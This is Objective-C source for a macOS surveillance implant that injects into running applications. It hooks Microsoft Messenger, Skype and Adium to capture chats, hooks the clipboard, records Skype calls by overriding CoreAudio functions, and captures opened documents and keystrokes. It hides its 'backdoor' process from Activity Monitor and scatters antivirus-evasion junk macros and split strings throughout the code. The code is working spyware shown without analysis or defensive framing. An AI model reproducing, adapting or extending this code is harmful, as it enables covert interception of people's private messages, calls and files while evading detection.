// AV evasion: only on release build
AV_GARBAGE_005
if (imFlag == 1)
{
// AV evasion: only on release build
AV_GARBAGE_001
imFlag = 2;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking IMs");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
Class className;
Class classSource;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Try to hook: %@", bundleIdentifier);
#endif
if ([bundleIdentifier isEqualToString: @"com.microsoft.Messenger"])
{
// AV evasion: only on release build
AV_GARBAGE_002
// Microsoft Messenger
className = objc_getClass("IMWebViewController");
// AV evasion: only on release build
AV_GARBAGE_003
classSource = objc_getClass(kMyIMWebViewController);
// AV evasion: only on release build
AV_GARBAGE_005
swizzleByAddingIMP(className, @selector(ParseAndAppendUnicode:inLength:inStyle:fIndent:fParseEmoticons:fParseURLs:inSenderName:fLocalUser:),
class_getMethodImplementation(classSource, @selector(ParseAndAppendUnicodeHook:inLength:inStyle:fIndent:fParseEmoticons:fParseURLs:inSenderName:fLocalUser:)),
@selector(ParseAndAppendUnicodeHook:inLength:inStyle:fIndent:fParseEmoticons:fParseURLs:inSenderName:fLocalUser:));
// AV evasion: only on release build
AV_GARBAGE_001
className = objc_getClass("IMWindowController");
// AV evasion: only on release build
AV_GARBAGE_002
classSource = objc_getClass(kMyIMWindowController);
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP(className, @selector(SendMessage:cchText:inHTML:),
class_getMethodImplementation(classSource, @selector(SendMessageHook:cchText:inHTML:)),
@selector(SendMessageHook:cchText:inHTML:));
// AV evasion: only on release build
AV_GARBAGE_004
}
else if([bundleIdentifier isEqualToString: @"com.skype.skype"] && isSkypeVersionSupported())
{
// AV evasion: only on release build
AV_GARBAGE_007
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking SkypeChat class");
#endif
// Skype
// In order to avoid a linker error for a missing implementation
Class className = objc_getClass("SkypeChat");
// AV evasion: only on release build
AV_GARBAGE_009
Class classSource = objc_getClass(kMySkypeChat);
// AV evasion: only on release bu ild
AV_GARBAGE_003
BOOL skypeRet =
swizzleByAddingIMP (className, @selector(isMessageRecentlyDisplayed:),
class_getMethodImplementation(classSource, @selector(isMessageRecentlyDisplayedHook:)),
@selector(isMessageRecentlyDisplayedHook:));
/* HOOK: [SKConversation onMessage:(NSNumber) mesgID]
po [SKConversation participants]
<__NSArrayM 0xa31f430>(
SKMyselfParticipant 0xd9cdb70 max-chiodo conversation=0xa31d2f0,
SKParticipant 0xd9cfd60 alberto.ornaghi conversation=0xa31d2f0
)
[SKConversation messages] lastObject]
[0xd990580 bodyTextSansXML]
[0xd990580 author]
*/
// check if skype is 6.1
if (skypeRet == FALSE)
{
className = objc_getClass("SKConversation");
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking SKConversation class");
#endif
if (className != nil)
{
swizzleByAddingIMP (className, @selector(onMessage:),
class_getMethodImplementation(classSource, @selector(onMessageHook:)),
@selector(onMessageHook:));
}
else
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking SKConversation class failed!");
#endif
}
}
else
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking SkypeChat class done!");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_008
}
else if([bundleIdentifier isEqualToString: @"com.adiumX.adiumX"])
{
#ifdef DEBUG_IM_ADIUM
infoLog(@"Hooking Adium");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
char esetEvasionAIContentController[256];
sprintf(esetEvasionAIContentController, "AI%s%s", "Content", "Controller");
Class className = objc_getClass(esetEvasionAIContentController);
// AV evasion: only on release build
AV_GARBAGE_003
Class classSource = objc_getClass(kMyAIContentController);
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP(className, @selector(finishSendContentObject:),
class_getMethodImplementation(classSource, @selector(myfinishSendContentObject:)),
@selector(myfinishSendContentObject:));
// AV evasion: only on release build
AV_GARBAGE_002
swizzleByAddingIMP(className, @selector(finishReceiveContentObject:),
class_getMethodImplementation(classSource, @selector(myfinishReceiveContentObject:)),
@selector(myfinishReceiveContentObject:));
// AV evasion: only on release build
AV_GARBAGE_005
}
}
else if (imFlag == 3 && isSkypeVersionSupported())
{
// AV evasion: only on release build
AV_GARBAGE_009
imFlag = 0;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking IMs");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
// In order to avoid a linker error for a missing implementation
Class className = objc_getClass("SkypeChat");
// AV evasion: only on release build
AV_GARBAGE_003
//swizzleMethod(className, @selector(isMessageRecentlyDisplayed:),
// className, @selector(isMessageRecentlyDisplayedHook:));
// AV evasion: only on release build
AV_GARBAGE_000
BOOL skypeRet =
swizzleByAddingIMP (className, @selector(isMessageRecentlyDisplayed:),
class_getMethodImplementation(className, @selector(isMessageRecentlyDisplayedHook:)),
@selector(isMessageRecentlyDisplayedHook:));
if (skypeRet == FALSE)
{
className = objc_getClass("SKConversation");
if (className != nil)
swizzleByAddingIMP (className, @selector(onMessage:),
class_getMethodImplementation(className, @selector(onMessageHook:)),
@selector(onMessageHook:));
}
}
if (clipboardFlag == 1)
{
// AV evasion: only on release build
AV_GARBAGE_001
clipboardFlag = 2;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking clipboards");
#endif
// AV evasion: only on release build
AV_GARBAGE_004
// In order to avoid a linker error for a missing implementation
Class className = objc_getClass("NSPasteboard");
// AV evasion: only on release build
AV_GARBAGE_006
//swizzleMethod(className, @selector(setData:forType:),
//className, @selector(setDataHook:forType:));
swizzleByAddingIMP(className,
@selector(setData:forType:),
class_getMethodImplementation(className,
@selector(setDataHook:forType:)),
@selector(setDataHook:forType:));
// AV evasion: only on release build
AV_GARBAGE_007
}
else if (clipboardFlag == 3)
{
// AV evasion: only on release build
AV_GARBAGE_001
clipboardFlag = 0;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking clipboards");
#endif
// AV evasion: only on release build
AV_GARBAGE_007
// In order to avoid a linker error for a missing implementation
Class className = objc_getClass("NSPasteboard");
// AV evasion: only on release build
AV_GARBAGE_008
//swizzleMethod(className, @selector(setData:forType:),
//className, @selector(setDataHook:forType:));
swizzleByAddingIMP(className,
@selector(setData:forType:),
class_getMethodImplementation(className,
@selector(setDataHook:forType:)),
@selector(setDataHook:forType:));
// AV evasion: only on release build
AV_GARBAGE_009
}
//if (voipFlag == 1 && isSkypeVersionSupported())
if (voipFlag == 1)
{
// AV evasion: only on release build
AV_GARBAGE_006
voipFlag = 2;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking voip calls");
#endif
mach_error_t mError;
// AV evasion: only on release build
AV_GARBAGE_003
//
// Let's check which skype we have here
// Looks like skype 5 doesn't implement few selectors available on
// 2.x branch
//
Class className = objc_getClass("MacCallX");
// AV evasion: only on release build
AV_GARBAGE_001
Class classSource = objc_getClass(kMyMacCallX);
// AV evasion: only on release build
AV_GARBAGE_002
Method method = class_getInstanceMethod(className,
@selector(placeCallTo:));
// AV evasion: only on release build
AV_GARBAGE_004
//
// Dunno why but checking with respondsToSelector
// doesn't work here... Odd
//
if (method != nil)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking skype 2.x");
#endif
// AV evasion: only on release build
AV_GARBAGE_000
//
// We're dealing with skype 2.x
//
class_addMethod(className,
@selector(checkActiveMembersName),
class_getMethodImplementation(classSource,
@selector(checkActiveMembersName)),
"v@:");
// AV evasion: only on release build
AV_GARBAGE_001
swizzleByAddingIMP(className,
@selector(placeCallTo:),
class_getMethodImplementation(classSource,
@selector(placeCallToHook:)),
@selector(placeCallToHook:));
// AV evasion: only on release build
AV_GARBAGE_002
swizzleByAddingIMP(className,
@selector(answer),
class_getMethodImplementation(classSource,
@selector(answerHook)),
@selector(answerHook));
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP(className,
@selector(isFinished),
class_getMethodImplementation(classSource,
@selector(isFinishedHook)),
@selector(isFinishedHook));
// AV evasion: only on release build
AV_GARBAGE_004
if ((mError = mach_override("_AudioDeviceAddIOProc", "CoreAudio",
(void *)&_hook_AudioDeviceAddIOProc,
(void **)&_real_AudioDeviceAddIOProc)))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"mach_override error on AudioDeviceAddIOProc");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
if ((mError = mach_override("_AudioDeviceRemoveIOProc", "CoreAudio",
(void *)&_hook_AudioDeviceRemoveIOProc,
(void **)&_real_AudioDeviceRemoveIOProc)))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"mach_override error on AudioDeviceRemoveIOProc");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_008
//
// For 2.x we can start hooking here since AddIOProc deals only
// with input/output voice call (that is, no effects are managed
// by registered procs)
//
VPSkypeStartAgent();
}
else
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking skype 5.x");
#endif
// AV evasion: only on release build
AV_GARBAGE_009
Class c1 = objc_getClass("EventController");
// AV evasion: only on release build
AV_GARBAGE_008
Class c2 = objc_getClass(kMyEventController);
// AV evasion: only on release build
AV_GARBAGE_007
swizzleByAddingIMP(c1,
@selector(handleNotification:),
class_getMethodImplementation(c2,
@selector(handleNotificationHook:)),
@selector(handleNotificationHook:));
// AV evasion: only on release build
AV_GARBAGE_005
//
// We're dealing with skype 5.x
//
if ((mError = mach_override("_AudioDeviceCreateIOProcID", "CoreAudio",
(void *)&_hook_AudioDeviceCreateIOProcID,
(void **)&_real_AudioDeviceCreateIOProcID)))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"mach_override error on AudioDeviceCreateIOProcID");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
if ((mError = mach_override("_AudioDeviceDestroyIOProcID", "CoreAudio",
(void *)&_hook_AudioDeviceDestroyIOProcID,
(void **)&_real_AudioDeviceDestroyIOProcID)))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"mach_override error on AudioDeviceDestroyIOProcID");
#endif
}
}
// AV evasion: only on release build
AV_GARBAGE_004
//
// Those are shared among the different versions
// and need to be hooked all the times
//
if ((mError = mach_override("_AudioDeviceStart", "CoreAudio",
(void *)&_hook_AudioDeviceStart,
(void **)&_real_AudioDeviceStart)))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"mach_override error on AudioDeviceStart");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_008
if ((mError = mach_override("_AudioDeviceStop", "CoreAudio",
(void *)&_hook_AudioDeviceStop,
(void **)&_real_AudioDeviceStop)))
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"mach_override error");
#endif
}
}
else if (voipFlag == 3)
{
// AV evasion: only on release build
AV_GARBAGE_001
voipFlag = 0;
// AV evasion: only on release build
AV_GARBAGE_002
VPSkypeStopAgent();
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking voip calls");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
// In order to avoid a linker error for a missing implementation
Class className = objc_getClass("MacCallX");
// AV evasion: only on release build
AV_GARBAGE_004
Class classSource = objc_getClass(kMyMacCallX);
// AV evasion: only on release build
AV_GARBAGE_005
if ([className respondsToSelector: @selector(placeCallTo:)])
{
// AV evasion: only on release build
AV_GARBAGE_006
//
// Skype 2.x
//
swizzleByAddingIMP(className,
@selector(placeCallTo:),
class_getMethodImplementation(classSource,
@selector(placeCallToHook:)),
@selector(placeCallToHook:));
// AV evasion: only on release build
AV_GARBAGE_007
swizzleByAddingIMP(className,
@selector(answer),
class_getMethodImplementation(classSource,
@selector(answerHook)),
@selector(answerHook));
// AV evasion: only on release build
AV_GARBAGE_008
}
else
{
// AV evasion: only on release build
AV_GARBAGE_007
//
// Skype 5.x
//
Class c1 = objc_getClass("EventController");
// AV evasion: only on release build
AV_GARBAGE_008
Class c2 = objc_getClass(kMyEventController);
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP(c1,
@selector(handleNotification:),
class_getMethodImplementation(c2,
@selector(handleNotificationHook:)),
@selector(handleNotificationHook:));
// AV evasion: only on release build
AV_GARBAGE_005
}
}
if (fileFlag == 1)
{
// AV evasion: only on release build
AV_GARBAGE_001
fileFlag = 2;
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Hooking for file capture");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
Class className = objc_getClass("NSDocumentController");
// AV evasion: only on release build
AV_GARBAGE_001
Class classSource = objc_getClass(kMyNSDocumentController);
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP(className,
@selector(openDocumentWithContentsOfURL:display:error:),
class_getMethodImplementation(classSource,
@selector(openDocumentWithContentsOfURLHook:display:error:)),
@selector(openDocumentWithContentsOfURLHook:display:error:));
// AV evasion: only on release build
AV_GARBAGE_006
FCStartAgent();
}
else if (fileFlag == 3)
{
// AV evasion: only on release build
AV_GARBAGE_000
fileFlag = 0;
// AV evasion: only on release build
AV_GARBAGE_001
FCStopAgent();
// AV evasion: only on release build
AV_GARBAGE_003
Class className = objc_getClass("NSDocumentController");
// AV evasion: only on release build
AV_GARBAGE_002
Class classSource = objc_getClass(kMyNSDocumentController);
// AV evasion: only on release build
AV_GARBAGE_003
swizzleByAddingIMP(className,
@selector(openDocumentWithContentsOfURL:display:error:),
class_getMethodImplementation(classSource,
@selector(openDocumentWithContentsOfURLHook:display:error:)),
@selector(openDocumentWithContentsOfURLHook:display:error:));
// AV evasion: only on release build
AV_GARBAGE_004
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Unhooking for file capture");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_003
sleep(1);
// AV evasion: only on release build
AV_GARBAGE_005
[innerPool release];
}
[pool release];
}
+ (BOOL)initSharedMemory
{
// AV evasion: only on release build
AV_GARBAGE_002
//
// Initialize and attach to our Shared Memory regions
//
key_t memKeyForCommand = ftok([NSHomeDirectory() UTF8String], 3);
// AV evasion: only on release build
AV_GARBAGE_006
key_t memKeyForLogging = ftok([NSHomeDirectory() UTF8String], 5);
// AV evasion: only on release build
AV_GARBAGE_003
gMemLogMaxSize = sizeof(shMemoryLog) * SHMEM_LOG_MAX_NUM_BLOCKS;
// AV evasion: only on release build
AV_GARBAGE_007
mSharedMemoryCommand = [[__m_MSharedMemory alloc] initWithKey: memKeyForCommand
size: gMemCommandMaxSize
semaphoreName: SHMEM_SEM_NAME];
// AV evasion: only on release build
AV_GARBAGE_006
if ([mSharedMemoryCommand createMemoryRegion] == -1)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Error while creating shared memory for commands");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
[mSharedMemoryCommand release];
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_003
mSharedMemoryLogging = [[__m_MSharedMemory alloc] initWithKey: memKeyForLogging
size: gMemLogMaxSize
semaphoreName: SHMEM_SEM_NAME];
// AV evasion: only on release build
AV_GARBAGE_005
if ([mSharedMemoryLogging createMemoryRegion] == -1)
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Error while creating shared memory for logging");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
[mSharedMemoryCommand release];
[mSharedMemoryLogging release];
return NO;
}
//
// Now it's safe to attach
//
[mSharedMemoryCommand attachToMemoryRegion];
// AV evasion: only on release build
AV_GARBAGE_007
[mSharedMemoryLogging attachToMemoryRegion];
// AV evasion: only on release build
AV_GARBAGE_004
return YES;
}
+ (void)checkAgentAtOffset: (uint32_t)offset
{
NSMutableData *readData;
shMemoryCommand *shMemCommand;
NSString *safariId = [NSString stringWithFormat:@"%@.%@.%@", @"com", @"apple", @"safari"];
// AV evasion: only on release build
AV_GARBAGE_001
NSString *identifier = [[NSBundle mainBundle] bundleIdentifier];
// AV evasion: only on release build
AV_GARBAGE_002
readData = [mSharedMemoryCommand readMemory: offset
fromComponent: COMP_AGENT];
// AV evasion: only on release build
AV_GARBAGE_005
shMemCommand = (shMemoryCommand *)[readData bytes];
// AV evasion: only on release build
AV_GARBAGE_003
if (readData != nil)
{
switch (offset)
{
case OFFT_URL:
{
// AV evasion: only on release build
AV_GARBAGE_009
if (urlFlag == 0
&& shMemCommand->command == AG_START)
{
// AV evasion: only on release build
AV_GARBAGE_002
if ([identifier isCaseInsensitiveLike: safariId] ||
[identifier isCaseInsensitiveLike: @"org.mozilla.firefox"])
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent URL");
#endif
// AV evasion: only on release build
AV_GARBAGE_009
urlFlag = 1;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Skipping (%@) for URL", identifier);
#endif
}
}
else if ((urlFlag == 1 || urlFlag == 2)
&& shMemCommand->command == AG_STOP)
{
// AV evasion: only on release build
AV_GARBAGE_006
if ([identifier isCaseInsensitiveLike: safariId] ||
[identifier isCaseInsensitiveLike: @"org.mozilla.firefox"])
{
// AV evasion: only on release build
AV_GARBAGE_007
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent URL");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
urlFlag = 3;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Skipping (%@) for URL", identifier);
#endif
}
}
} break;
case OFFT_APPLICATION:
{
if (appFlag == 0
&& shMemCommand->command == AG_START)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent Application");
#endif
// AV evasion: only on release build
AV_GARBAGE_009
appFlag = 1;
}
else if ((appFlag == 1 || appFlag == 2)
&& shMemCommand->command == AG_STOP)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent Application");
#endif
// AV evasion: only on release build
AV_GARBAGE_000
appFlag = 3;
}
} break;
case OFFT_KEYLOG:
{
if (keyboardFlag == 0
&& shMemCommand->command == AG_START)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent Keylog");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
keyboardFlag = 1;
}
else if ((keyboardFlag == 1 || keyboardFlag == 2)
&& shMemCommand->command == AG_STOP)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent Keylog");
#endif
// AV evasion: only on release build
AV_GARBAGE_004
keyboardFlag = 3;
}
} break;
case OFFT_MOUSE:
{
if (mouseFlag == 0
&& shMemCommand->command == AG_START)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent Mouse");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
mouseFlag = 1;
}
else if ((mouseFlag == 1 || mouseFlag == 2)
&& shMemCommand->command == AG_STOP)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent Mouse");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
mouseFlag = 3;
}
} break;
case OFFT_VOIP:
{
if (voipFlag == 0
&& shMemCommand->command == AG_START)
{
// AV evasion: only on release build
AV_GARBAGE_001
if ([identifier isCaseInsensitiveLike: @"com.skype.skype"])
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent VOIP");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
voipFlag = 1;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Skipping (%@) for VOIP", identifier);
#endif
}
}
else if ((voipFlag == 1 || voipFlag == 2)
&& shMemCommand->command == AG_STOP)
{
// AV evasion: only on release build
AV_GARBAGE_007
if ([identifier isCaseInsensitiveLike: @"com.skype.skype"])
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent VOIP");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
voipFlag = 3;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Skipping (%@) for VOIP", identifier);
#endif
}
}
} break;
case OFFT_IM:
{
if (imFlag == 0
&& shMemCommand->command == AG_START)
{
// AV evasion: only on release build
AV_GARBAGE_009
if ([identifier isCaseInsensitiveLike: @"com.microsoft.messenger"]
|| [identifier isCaseInsensitiveLike: @"com.skype.skype"]
|| [identifier isCaseInsensitiveLike: @"com.adiumX.adiumX"])
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent IM");
#endif
// AV evasion: only on release build
AV_GARBAGE_007
imFlag = 1;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Skipping (%@) for IM", identifier);
#endif
}
}
else if ((imFlag == 1 || imFlag == 2)
&& shMemCommand->command == AG_STOP)
{
// AV evasion: only on release build
AV_GARBAGE_005
if ([identifier isCaseInsensitiveLike: @"com.microsoft.messenger"]
|| [identifier isCaseInsensitiveLike: @"com.skype.skype"]
|| [identifier isCaseInsensitiveLike: @"com.adiumX.adiumX"])
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent IM");
#endif
// AV evasion: only on release build
AV_GARBAGE_004
imFlag = 3;
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Skipping (%@) for IM", identifier);
#endif
}
}
} break;
case OFFT_CLIPBOARD:
{
if (clipboardFlag == 0
&& shMemCommand->command == AG_START)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent Clipboard");
#endif
// AV evasion: only on release build
AV_GARBAGE_007
clipboardFlag = 1;
}
else if ((clipboardFlag == 1 || clipboardFlag == 2)
&& shMemCommand->command == AG_STOP)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent Clipboard");
#endif
// AV evasion: only on release build
AV_GARBAGE_002
clipboardFlag = 3;
}
} break;
case OFFT_FILECAPTURE:
{
if (fileFlag == 0
&& shMemCommand->command == AG_START)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Starting Agent FileCapture");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
fileFlag = 1;
}
else if ((fileFlag == 1 || fileFlag == 2)
&& shMemCommand->command == AG_STOP)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Stopping Agent FileCapture");
#endif
// AV evasion: only on release build
AV_GARBAGE_008
fileFlag = 3;
}
} break;
default:
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Invalid offset 0x%x", offset);
#endif
}
}
}
else
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"data is nil at offset 0x%x", offset);
#endif
}
}
+ (void)checkForCommands
{
// AV evasion: only on release build
AV_GARBAGE_001
NSMutableData *readData;
shMemoryCommand *shMemCommand;
// AV evasion: only on release build
AV_GARBAGE_004
while (isAppRunning == YES)
{
// AV evasion: only on release build
AV_GARBAGE_005
readData = [mSharedMemoryCommand readMemory: OFFT_COMMAND
fromComponent: COMP_AGENT];
// AV evasion: only on release build
AV_GARBAGE_007
if (readData != nil)
{
// AV evasion: only on release build
AV_GARBAGE_008
shMemCommand = (shMemoryCommand *)[readData bytes];
// AV evasion: only on release build
AV_GARBAGE_004
switch (shMemCommand->command)
{
// AV evasion: only on release build
AV_GARBAGE_003
case CR_REGISTER_SYNC_SAFARI:
{
//
// Send reply, yes we can and start syncing
//
// AV evasion: only on release build
AV_GARBAGE_001
NSMutableData *agentCommand = [[NSMutableData alloc] initWithLength: sizeof(shMemoryCommand)];
// AV evasion: only on release build
AV_GARBAGE_002
shMemoryCommand *shMemoryHeader = (shMemoryCommand *)[agentCommand bytes];
shMemoryHeader->agentID = OFFT_COMMAND;
// AV evasion: only on release build
AV_GARBAGE_003
shMemoryHeader->direction = D_TO_CORE;
shMemoryHeader->command = IM_CAN_SYNC_SAFARI;
// AV evasion: only on release build
AV_GARBAGE_004
if ([gSharedMemoryCommand writeMemory: agentCommand
offset: OFFT_COMMAND
fromComponent: COMP_CORE] == TRUE)
{
NSMutableData *syncConfig = [[NSMutableData alloc] initWithBytes: shMemCommand->commandData
length: shMemCommand->commandDataSize ];
// AV evasion: only on release build
AV_GARBAGE_008
// Ok, now sync bitch!
/*
__m_MCommunicationManager *commManager = [[__m_MCommunicationManager alloc]
initWithConfiguration: syncConfig];
if ([commManager performSync] == FALSE)
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Sync failed from Safari");
#endif
}
else
{
#ifdef DEBUG_INPUT_MANAGER
infoLog(@"Sync from Safari went OK!");
#endif
}
[commManager release];
*/
[syncConfig release];
}
break;
}
default:
break;
}
}
// AV evasion: only on release build
AV_GARBAGE_003
usleep(7000);
}
}
+ (void)hideCoreFromAM
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_003
NSMutableData *readData;
shMemoryCommand *shMemCommand;
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"[DYLIB] %s: reading from shared", __FUNCTION__);
#endif
// Get pid on shmem
// waiting till core write it...
while (TRUE)
{
// AV evasion: only on release build
AV_GARBAGE_007
readData = [mSharedMemoryCommand readMemory: OFFT_CORE_PID
fromComponent: COMP_AGENT];
// AV evasion: only on release build
AV_GARBAGE_009
if (readData != nil)
{
// AV evasion: only on release build
AV_GARBAGE_006
shMemCommand = (shMemoryCommand *)[readData bytes];
// AV evasion: only on release build
AV_GARBAGE_005
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"[DYLIB] %s: shmem", __FUNCTION__);
#endif
// AV evasion: only on release build
AV_GARBAGE_002
if (shMemCommand->command == CR_CORE_PID)
{
// AV evasion: only on release build
AV_GARBAGE_008
memcpy(&gBackdoorPID, shMemCommand->commandData, sizeof(pid_t));
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"[DYLIB] %s: receiving core pid %d", __FUNCTION__, gBackdoorPID);
#endif
break;
}
}
// AV evasion: only on release build
AV_GARBAGE_009
usleep(30000);
}
// AV evasion: only on release build
AV_GARBAGE_003
Class className = objc_getClass("SMProcessController");
// AV evasion: only on release build
AV_GARBAGE_005
Class classSource = objc_getClass(kMySMProcessController);
// AV evasion: only on release build
AV_GARBAGE_002
if (className != nil)
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Class SMProcessController swizzling");
#endif
// AV evasion: only on release build
AV_GARBAGE_006
swizzleByAddingIMP(className, @selector(outlineView:numberOfChildrenOfItem:),
class_getMethodImplementation(classSource, @selector(outlineViewHook:numberOfChildrenOfItem:)),
@selector(outlineViewHook:numberOfChildrenOfItem:));
// AV evasion: only on release build
AV_GARBAGE_000
swizzleByAddingIMP(className, @selector(filteredProcesses),
class_getMethodImplementation(classSource, @selector(filteredProcessesHook)),
@selector(filteredProcessesHook));
}
else
{
#ifdef DEBUG_INPUT_MANAGER
errorLog(@"Class SMProcessController not found");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_002
[pool release];
}
+ (void)startThreadCommunicator: (NSNotification *)_notification
{
#ifdef DEBUG_INPUT_MANAGER
NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier];
infoLog(@"__m_MInputManager loaded by %@ at path %@", bundleIdentifier,
[[NSBundle mainBundle] bundlePath]);
#endif
// AV evasion: only on release build
AV_GARBAGE_004
[NSThread detachNewThreadSelector: @selector(startCoreCommunicator)
toTarget: self
withObject: nil];
// AV evasion: only on release build
AV_GARBAGE_002
}
+ (void)closeThreadCommunicator: (NSNotification *)_notification
{
// AV evasion: only on release build
AV_GARBAGE_004
isAppRunning = NO;
}
@end
@interface mySMProcessController : NSObject
- (id)filteredProcessesHook;
- (int)outlineViewHook: (id)arg1 numberOfChildrenOfItem: (id)arg2;
@end
@implementation mySMProcessController
- (int)outlineViewHook: (id)arg1 numberOfChildrenOfItem: (id)arg2
{
// AV evasion: only on release build
AV_GARBAGE_004
if (gBackdoorPID == 0)
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"gBackdoorPid not initialized");
#endif
// AV evasion: only on release build
AV_GARBAGE_003
return [self outlineViewHook: arg1
numberOfChildrenOfItem: arg2];
}
// AV evasion: only on release build
AV_GARBAGE_005
if (arg2 == nil)
{
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Asking for how many processes");
#endif
}
// AV evasion: only on release build
AV_GARBAGE_006
int a = [self outlineViewHook: arg1
numberOfChildrenOfItem: arg2];
#ifdef DEBUG_INPUT_MANAGER
verboseLog(@"Total processes: %d", a);
#endif
// AV evasion: only on release build
AV_GARBAGE_007
if (a > 0)
return a - 1;
else
return a;
}
- (id)filteredProcessesHook
{
// AV evasion: only on release build
AV_GARBAGE_001
if (gBackdoorPID == 0)
{
// AV evasion: only on release build
AV_GARBAGE_002
return [self filteredProcessesHook];
}
NSMutableArray *a = [[NSMutableArray alloc] initWithArray: [self filteredProcessesHook]];
int i = 0;
// AV evasion: only on release build
AV_GARBAGE_003
for (; i < [a count]; i++)
{
id object = [a objectAtIndex: i];
if ([[object performSelector: @selector(pid)] intValue] == gBackdoorPID)
{
// AV evasion: only on release build
AV_GARBAGE_002
[a removeObject: object];
}
// AV evasion: only on release build
AV_GARBAGE_004
}
// AV evasion: only on release build
AV_GARBAGE_005
return a;
}
@end